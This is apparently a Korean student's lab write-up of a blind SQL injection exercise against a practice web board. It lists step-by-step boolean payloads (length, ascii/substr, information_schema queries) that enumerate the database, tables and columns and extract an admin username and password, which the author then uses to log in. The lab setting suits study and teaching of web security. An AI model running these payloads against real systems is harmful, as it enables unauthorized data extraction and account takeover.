SQL Injection 실습

1. 에러 및 취약점 진단

board_id에 ' 추가 후 Forward 하기

에러문이 뜨지만 해당 에러문은 DB에러가 아닌 서버 에러문

---

idx 3-1 입력 후 Forward

그러나 먹히지 않음을 확인

---

blind 방식으로 공격 가능 확인 

참일때 결과값과 거짓일때 결과값

Contents based 공격 가능

# 데이터 베이스의 글자 수 7글자
length((SELECT database()))=7

# 데이터 베이스의 글자 첫 글자가 'a' 인가요?
substr((SELECT database()))='a'
# ' < 기호를 쓸 수 없을 때 아스키코드 부등호로 사용
ascii(substr((SELECT database()),1,1))>80
ascii(substr((SELECT database()),1,1))=112
ascii(substr((SELECT database()),2,1))=101
ascii(substr((SELECT database()),3,1))=110
ascii(substr((SELECT database()),4,1))=116
ascii(substr((SELECT database()),5,1))=101
ascii(substr((SELECT database()),6,1))=115
ascii(substr((SELECT database()),7,1))=116

테이블 갯수 추출

2 matches로 참 확인

# pentest 테이블 갯수가 5개 인가요 ?
(SELECT count(*) FROM information_schema.tables WHERE table_schema=0x70656E74657374)=5

첫번째 테이블 글자 수 추출

# 첫번째 테이블의 글자수가 5글자 인가요 ?
length((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1))=5
# 두번째 테이블의 글자수가 n글자 인가요 ?
length((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 1,1))=n
# 세번째 테이블의 글자수가 6글자 인가요 ?
length((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1))=6
# 네번째 테이블의 글자수가 n글자 인가요 ?
length((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 3,1))=n
# 다섯번째 테이블의 글자수가 4글자 인가요 ?
length((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 4,1))=4

# pentest의 첫번째 테이블이름의 첫 글자가 98인가요 ?
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1),1,1))=98
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1),2,1))=111
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1),3,1))=97
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1),4,1))=114
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 0,1),5,1))=100

# 3 > 6글자 notice
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),1,1))=110
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),2,1))=111
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),3,1))=116
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),4,1))=105
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),5,1))=99
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 2,1),6,1))=101
# 4 > n글자
# 5 > 4글자 user
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 4,1),1,1))=117
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 4,1),2,1))=115
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 4,1),3,1))=101
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=0x70656E74657374 LIMIT 4,1),4,1))=114

테이블 칼럼의 첫번째 칼럼의 글자 수는?

# pentest 데이터베이스의 user 테이블의 첫번째 칼럼의 이름은 2글자 인가요 ?
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 0,1))=2
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 1,1))=6
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 2,1))=8
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 3,1))=8
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 4,1))=4
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 5,1))=8
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 6,1))=5
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 7,1))=7
length((SELECT column_name FROM information_schema.columns WHERE table_schema=0x70656E74657374 and table_name=0x75736572 LIMIT 8,1))=5

 

첫번째 칼럼의 첫번째 글자

# pentest에 user에 있는 첫번째 컬럼 : ID
ascii(substr((SELECT+column_name+FROM+information_schema.columns+WHERE+table_schema%3d0x70656E74657374+and+table_name%3d0x75736572+LIMIT+0,1),1,1))=73
ascii(substr((SELECT+column_name+FROM+information_schema.columns+WHERE+table_schema%3d0x70656E74657374+and+table_name%3d0x75736572+LIMIT+0,1),2,1))=68

# pentest에 user에 있는 두번째 컬럼 : userID
ascii(substr((SELECT+column_name+FROM+information_schema.columns+WHERE+table_schema%3d0x70656E74657374+and+table_name%3d0x75736572+LIMIT+1,1),1,1))=117
117 115 101 114 73 68 > userID

# pentest에 user에 있는 세번째 컬럼 : password
ascii(substr((SELECT+column_name+FROM+information_schema.columns+WHERE+table_schema%3d0x70656E74657374+and+table_name%3d0x75736572+LIMIT+2,1),1,1))=112
112 97 115 115 119 111 114 100 > password

# pentest에 user에 userID에 첫번째 컬럼의 글자수는 5글자
length((SELECT userID FROM pentest.user LIMIT 0,1))=5

# pentest에 user에 userID에 첫번째 컬럼의 첫 글자 = 97
ascii(substr((SELECT userID FROM pentest.user LIMIT 0,1),1,1))=97
# 97 100 109 105 110 > admin

# pentest에 user에 password에 첫번째 컬럼의 글자수는 11글자
length((SELECT password FROM pentest.user LIMIT 0,1))=11
# 97 100 109 105 110 > admin

# pentest에 user에 password에 첫번째 컬럼의 첫 글자 = 49
ascii(substr((SELECT password FROM pentest.user LIMIT 0,1),1,1))=49
# 49 113 50 119 51 101 52 114 53 116 33 > 1q2w3e4r5t!

알게된 ID와 비밀번호로 로그인